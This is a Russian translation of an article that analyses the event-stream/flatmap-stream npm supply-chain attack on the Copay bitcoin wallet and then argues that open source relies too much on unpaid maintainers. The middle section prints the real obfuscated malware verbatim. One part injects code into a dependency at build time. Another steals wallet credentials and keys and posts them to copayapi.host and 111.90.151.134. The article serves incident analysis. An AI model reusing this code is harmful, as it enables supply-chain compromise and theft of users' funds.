[Перевод] Рассказ о возмутительной лёгкости взлома инфраструктуры разработки современного ПО

В конце октября появилось сообщение о проблеме в чрезвычайно популярном Node.js-инструменте nodemon. Дело было в том, что в консоль выводилось предупреждение следующего содержания: DeprecationWarning: crypto.createDecipher is deprecated. Подобные оповещения об устаревших возможностях — не редкость. В частности, это сообщение выглядело вполне безобидно. Оно относилось даже не к самому проекту nodemon, а к одной из его зависимостей. Эта мелочь вполне могла остаться никем не замеченной, так как, во многих случаях, подобные проблемы решаются сами собой.

image

Примерно через две недели после первого упоминания этой проблемы Айртон Спарлинг всё проверил и выяснил, что причиной предупреждения была довольно глубокая новая зависимость. Сообщение исходило из странного фрагмент кода в конце минифицированного JavaScript-файла, которого в более ранних версиях библиотеки не было, и который, из более поздней её версии, был удалён. Исследование Айртона привело его к популярному npm-пакету event-stream, который загружается примерно два миллиона раз в неделю, и до недавнего времени находился под контролем опенсорс-разработчика, обладающего хорошей репутацией.
Несколько месяцев назад управление event-stream перешло к другому человеку, малоизвестному пользователю, попросившему, по электронной почте, о предоставлении ему прав на публикацию пакета. Сделано это было на законных основаниях. Затем этот пользователь обновил пакет event-stream, включив в его патч-версию вредоносную зависимость flatmap-stream, а после этого опубликовал новую мажорную версию пакета уже без этой зависимости. Благодаря этому он хотел сделать изменение менее заметным. Новые пользователи, которые, предположительно, имеют более сильную склонность интересоваться зависимостями, установили бы самую свежую версию event-stream (4.x во время написания этого материала). А пользователи, проекты которых зависели от предыдущей версии пакета, автоматически бы установили инфицированную патч-версию при очередном выполнении команды npm install (тут учтён распространённый подход к настройке версий пакетов, подходящих для обновлений).

Подробности об инциденте


Вредоносный код flatmap-stream был настроен на работу с файлом данных, который, кроме некоторых строк, весьма тривиально обфусцированных, содержал два зашифрованных фрагмента, расшифровать которые можно было лишь зная пароль.

! function() {
    try {
        var r = require,
            t = process;

        function e(r) {
            return Buffer.from(r, "hex").toString()
        }
        var n = r(e("2e2f746573742f64617461")),
            o = t[e(n[3])][e(n[4])];
        if (!o) return;
        var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
            a = u.update(n[0], e(n[8]), e(n[9]));
        a += u.final(e(n[9]));
        var f = new module.constructor;
        f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
    } catch (r) {}
}();


Назовём этот фрагмент кода Payload A. Он ищет пароль в переменной окружения npm_package_description, устанавливаемой npm. Эта переменная окружения содержит описание корневого пакета, что позволяет вредоносному коду воздействовать лишь на конкретный целевой пакет. Умный ход! В данном случае таким пакетом было клиентское приложение биткойн-кошелька Copay, а паролем для расшифровки вредоносного кода была фраза A Secure Bitcoin Wallet (это выяснил GitHub-пользователь maths22).

После того, как код Payload A успешно расшифровывал первый фрагмент данных, выполнялся код, который мы тут назовём Payload B.

/*@@*/
module.exports = function(e) {
    try {
        if (!/build\:.*\-release/.test(process.argv[2])) return;
        var t = process.env.npm_package_description,
            r = require("fs"),
            i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",
            n = r.statSync(i),
            c = r.readFileSync(i, "utf8"),
            o = require("crypto").createDecipher("aes256", t),
            s = o.update(e, "hex", "utf8");
        s = "\n" + (s += o.final("utf8"));
        var a = c.indexOf("\n/*@@*/");
        0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {
            try {
                r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)
            } catch (e) {}
        })
    } catch (e) {}
};


Этот код выполнял проверку на то, чтобы скрипт был бы запущен исключительно с определённым аргументом командной строки, с чем-то, соответствующим шаблону build:*-release. Например, это могло выглядеть как npm run build:ios-release. В противном случае скрипт не выполнялся. Это ограничивало выполнение кода всего тремя скриптами для сборки проектов, используемых в Copay. А именно, речь идёт о скриптах, которые ответственны за сборку настольной версии приложения и его версий для iOS и Android.

Затем скрипт искал ещё одну зависимость приложения, а именно — его интересовал файл ReedSolomonDecoder.js из пакета @zxing/library. Код Payload B этот файл не запускал. Он просто внедрял в него код Payload C, что приводило к тому, что этот код выполнился бы в самом приложении, при загрузке ReedSolomonDecoder. Вот код Payload C.

/*@@*/
! function() {
    function e() {
        try {
            var o = require("http"),
                a = require("crypto"),
                c = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----";

            function i(e, t, n) {
                e = Buffer.from(e, "hex").toString();
                var r = o.request({
                    hostname: e,
                    port: 8080,
                    method: "POST",
                    path: "/" + t,
                    headers: {
                        "Content-Length": n.length,
                        "Content-Type": "text/html"
                    }
                }, function() {});
                r.on("error", function(e) {}), r.write(n), r.end()
            }

            function r(e, t) {
                for (var n = "", r = 0; r < t.length; r += 200) {
                    var o = t.substr(r, 200);
                    n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"
                }
                i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)
            }

            function l(t, n) {
                if (window.cordova) try {
                    var e = cordova.file.dataDirectory;
                    resolveLocalFileSystemURL(e, function(e) {
                        e.getFile(t, {
                            create: !1
                        }, function(e) {
                            e.file(function(e) {
                                var t = new FileReader;
                                t.onloadend = function() {
                                    return n(JSON.parse(t.result))
                                }, t.onerror = function(e) {
                                    t.abort()
                                }, t.readAsText(e)
                            })
                        })
                    })
                } catch (e) {} else {
                    try {
                        var r = localStorage.getItem(t);
                        if (r) return n(JSON.parse(r))
                    } catch (e) {}
                    try {
                        chrome.storage.local.get(t, function(e) {
                            if (e) return n(JSON.parse(e[t]))
                        })
                    } catch (e) {}
                }
            }
            global.CSSMap = {}, l("profile", function(e) {
                for (var t in e.credentials) {
                    var n = e.credentials[t];
                    "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {
                        var t = this;
                        t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))
                    }.bind(n))
                }
            });
            var e = require("bitcore-wallet-client/lib/credentials.js");
            e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {
                var t = this.getKeysFunc(e);
                try {
                    global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\t" + this.xPubKey))
                } catch (e) {}
                return t
            }
        } catch (e) {}
    }
    window.cordova ? document.addEventListener("deviceready", e) : e()


Код Payload A и Payload B предназначен для запуска в среде Node.js, на сборочном сервере проекта, а вот Payload C рассчитан на выполнение в окружении, напоминающем браузер, находящимся под управлением фреймворка Cordova (ранее — PhoneGap). Этот фреймворк позволяет разрабатывать нативные приложения для различных платформ, используя веб-технологии — HTML, CSS и JavaScript. Клиентские приложения Copay (а также форков этого проекта вроде FCash), предназначенные для различных платформ, построены с использованием Cordova. Именно на эти клиенты и нацелена атака. Эти нативные приложения предназначены для конечных пользователей Copay, которые управляют с их помощью своими биткойн-кошельками. Именно эти кошельки и интересовали злоумышленника. Скрипт отправлял украденные данные на copayapi.host и по адресу 111.90.151.134.

Неутешительные выводы


Разработка того, о чём мы только что говорили — задача весьма непростая. Этот взлом потребовал серьёзных исследований и немалых усилий по проведению атаки. У злоумышленника, наверняка, были и запасные варианты, которыми он воспользовался бы в том случае, если ему не удалось бы получить контроль над пакетом event-stream. Учитывая то, как была организована атака, правдоподобным выглядит предположение, в соответствии с которым злоумышленник изначально был нацелен именно на Copay, а не просто получил контроль над популярной библиотекой, а потом уже думал над тем, что ему с ней делать. Популярность event-stream говорит о том, что у атакующего был лёгкий способ доступа к важным компьютерам в сотнях компаний по всему миру. К счастью, угроза была быстро обнаружена и нейтрализована, учитывая то, как долго она могла бы существовать незамеченной, но размышления о том, что могло случиться, приводят нас к очевидному выводу: опенсорс серьёзно болен.

Давайте составим список причин, приведших к вышеописанному инциденту:

  1. Приложение (Copay) было построено на основе множества различных зависимостей, при этом дерево его зависимостей не было заблокировано.
  2. Даже учитывая то, что дерево зависимостей заблокировано не было, зависимости не кэшировались, они загружались из репозитория при каждой сборке проекта.
  3. Тысячи других проектов зависят от event-stream, в них используются такие же или похожие конфигурации.
  4. Тот, кто поддерживал библиотеку, от которой зависят тысячи проектов, перестал ей заниматься.
  5. Тысячи проектов использовали эту библиотеку бесплатно. При этом ожидалось, что поддерживать её будут без какой-либо материальной компенсации.
  6. Тот, кто поддерживал библиотеку, передал контроль над ней неизвестному лишь потому что тот попросил его об этом.
  7. Никаких уведомлений о том, что проект сменил владельца, не было, и всё те же тысячи проектов просто продолжили использовать соответствующий пакет.
  8. На самом деле, этот список можно продолжать бесконечно…


Страшно даже подумать о том, какой вред мог бы причинить обсуждаемый нами взлом. От event-stream, например, зависят крайне серьёзные проекты. Например — Microsoft Azure CLI. Уязвимыми оказались и те компьютеры, на которых занимаются разработкой этой программы, и те компьютеры, на которых ей пользуются. Вредоносный код вполне мог попасть и на те, и на другие.

Проблема тут заключается в том, что очень много программных проектов построено на основе того, что сделали люди, от которых ждут, что они будут работать бесплатно. Они создают полезные программы, какое-то время ими занимаются (а может быть, просто делают их всеобщим достоянием и на этом всё заканчивается), а от них ждут, что они будут поддерживать свои разработки до конца времён. Если это у них не получается, то они либо бездействуют, игнорируя обращения к ним или сообщения об уязвимостях в их проектах (виновен!), или попросту отдают свои проекты другим людям, надеясь, что могут уйти и уже больше в это не ввязываться. Иногда это срабатывает. Иногда — нет. Но ничто не может оправдать уязвимости, которые, из-за подобных явлений, появляются в программном обеспечении. Кстати, даже обнаружение проблемы с event-stream, её исследование и устранение, в основном, было сделано добровольцами опенсорса, труд которых никак не оплачивается.

К тому, что случилось, имеет отношение такое количество самых разных людей и организаций, что поиск конкретных виновников особого смысла не имеет. Опенсорс серьёзно болен, и чем крупнее становится это явление — тем выше вероятность катастроф. Учитывая деструктивный потенциал рассмотренного здесь инцидента, это счастье, что целью злоумышленника было всего одно приложение.

Подобные проблемы не ограничены Node.js или npm. В родственных экосистемах наблюдается столь же неуместно высокий уровень доверия к незнакомцам. Это имеет отношения и к PyPi в среде Python, и к RubyGems, да и к GitHub тоже. Кто угодно может публиковаться в вышеупомянутых сервисах, без каких-либо уведомлений передавая управление своими проектами кому угодно. Да и без этого, современные проекты используют такие объёмы чужого кода, что его тщательный анализ надолго остановил бы работу любой команды. Для того чтобы уложиться в жёсткие сроки, разработчики устанавливают то, что им нужно, а команды, отвечающие за безопасность и автоматизированные средства проверки кода попросту не успевают за стремительным развитием постоянно меняющихся программ.

Уважаемые читатели! Как вы относитесь к недавнему инциденту с event-stream?

n0ryop7wfykgkeicz3mtuwghrcu.jpeg

1ba550d25e8846ce8805de564da6aa63.png

© Habrahabr.ru